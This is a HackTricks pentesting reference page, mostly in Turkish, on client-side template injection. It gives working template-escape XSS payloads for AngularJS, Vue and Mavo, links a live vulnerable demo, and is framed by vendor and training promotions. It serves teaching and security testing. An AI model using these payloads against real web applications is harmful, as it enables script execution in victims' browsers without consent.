hacktricks/pentesting-web/client-side-template-injection-csti.md

8.1 KiB
Raw Blame History

Client Side Template Injection (CSTI)

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

WhiteIntel

WhiteIntel karanlık ağ destekli bir arama motorudur ve bir şirketin veya müşterilerinin zarar görüp görmediğini kontrol etmek için ücretsiz işlevler sunar.

WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Web sitelerini kontrol edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}


Özet

Bu, Sunucu Tarafı Şablon Enjeksiyonu gibidir ama istemci tarafındadır. SSTI, uzaktaki sunucuda kod çalıştırmanıza izin verebilir, CSTI ise kurbanın tarayıcısında rastgele JavaScript kodu çalıştırmanıza olanak tanıyabilir.

Bu güvenlik açığını test etmek, SSTI durumundaki gibi çok benzer bir şekilde yapılır; yorumlayıcı bir şablon bekler ve bunu çalıştırır. Örneğin, {{ 7-7 }} gibi bir yük ile, uygulama güvenlik açığına sahipse 0 göreceksiniz, değilse orijinalini göreceksiniz: {{ 7-7 }}

AngularJS

AngularJS, HTML ile direktif olarak bilinen öznitelikler aracılığıyla etkileşimde bulunan yaygın olarak kullanılan bir JavaScript framework'üdür; dikkat çekici bir tanesi ng-app'dir. Bu direktif, AngularJS'in HTML içeriğini işlemesine olanak tanır ve çift süslü parantezler içinde JavaScript ifadelerinin çalıştırılmasını sağlar.

Kullanıcı girdisinin ng-app ile etiketlenmiş HTML gövdesine dinamik olarak eklendiği senaryolarda, rastgele JavaScript kodu çalıştırmak mümkündür. Bu, girdide AngularJS sözdizimini kullanarak gerçekleştirilebilir. Aşağıda JavaScript kodunun nasıl çalıştırılabileceğini gösteren örnekler bulunmaktadır:

{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>

You can find a very basic online example of the vulnerability in AngularJS in http://jsfiddle.net/2zs2yv7o/ and in Burp Suite Academy

{% hint style="danger" %} Angular 1.6 sandbox'ı kaldırdı bu yüzden bu versiyondan itibaren {{constructor.constructor('alert(1)')()}} veya <input ng-focus=$event.view.alert('XSS')> gibi bir yük çalışmalıdır. {% endhint %}

VueJS

You can find a vulnerable Vue implementation in https://vue-client-side-template-injection-example.azu.now.sh/
Working payload: https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%

And the source code of the vulnerable example here: https://github.com/azu/vue-client-side-template-injection-example

<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>

Gerçekten iyi bir CSTI yazısı VUE hakkında https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets adresinde bulunabilir.

V3

{{_openBlock.constructor('alert(1)')()}}

Kredi: Gareth Heyes, Lewis Ardern & PwnFunction

V2

{{constructor.constructor('alert(1)')()}}

Credit: Mario Heiderich

Daha fazla VUE yükü kontrol edin https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected

Mavo

Yük:

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

Daha fazla yükleme için https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

Brute-Force Tespit Listesi

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

WhiteIntel

WhiteIntel, bir şirketin veya müşterilerinin stealer malwares tarafından tehdit edilip edilmediğini kontrol etmek için ücretsiz işlevler sunan karanlık ağ destekli bir arama motorudur.

WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.

Web sitelerini kontrol edebilir ve motorlarını ücretsiz deneyebilirsiniz:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}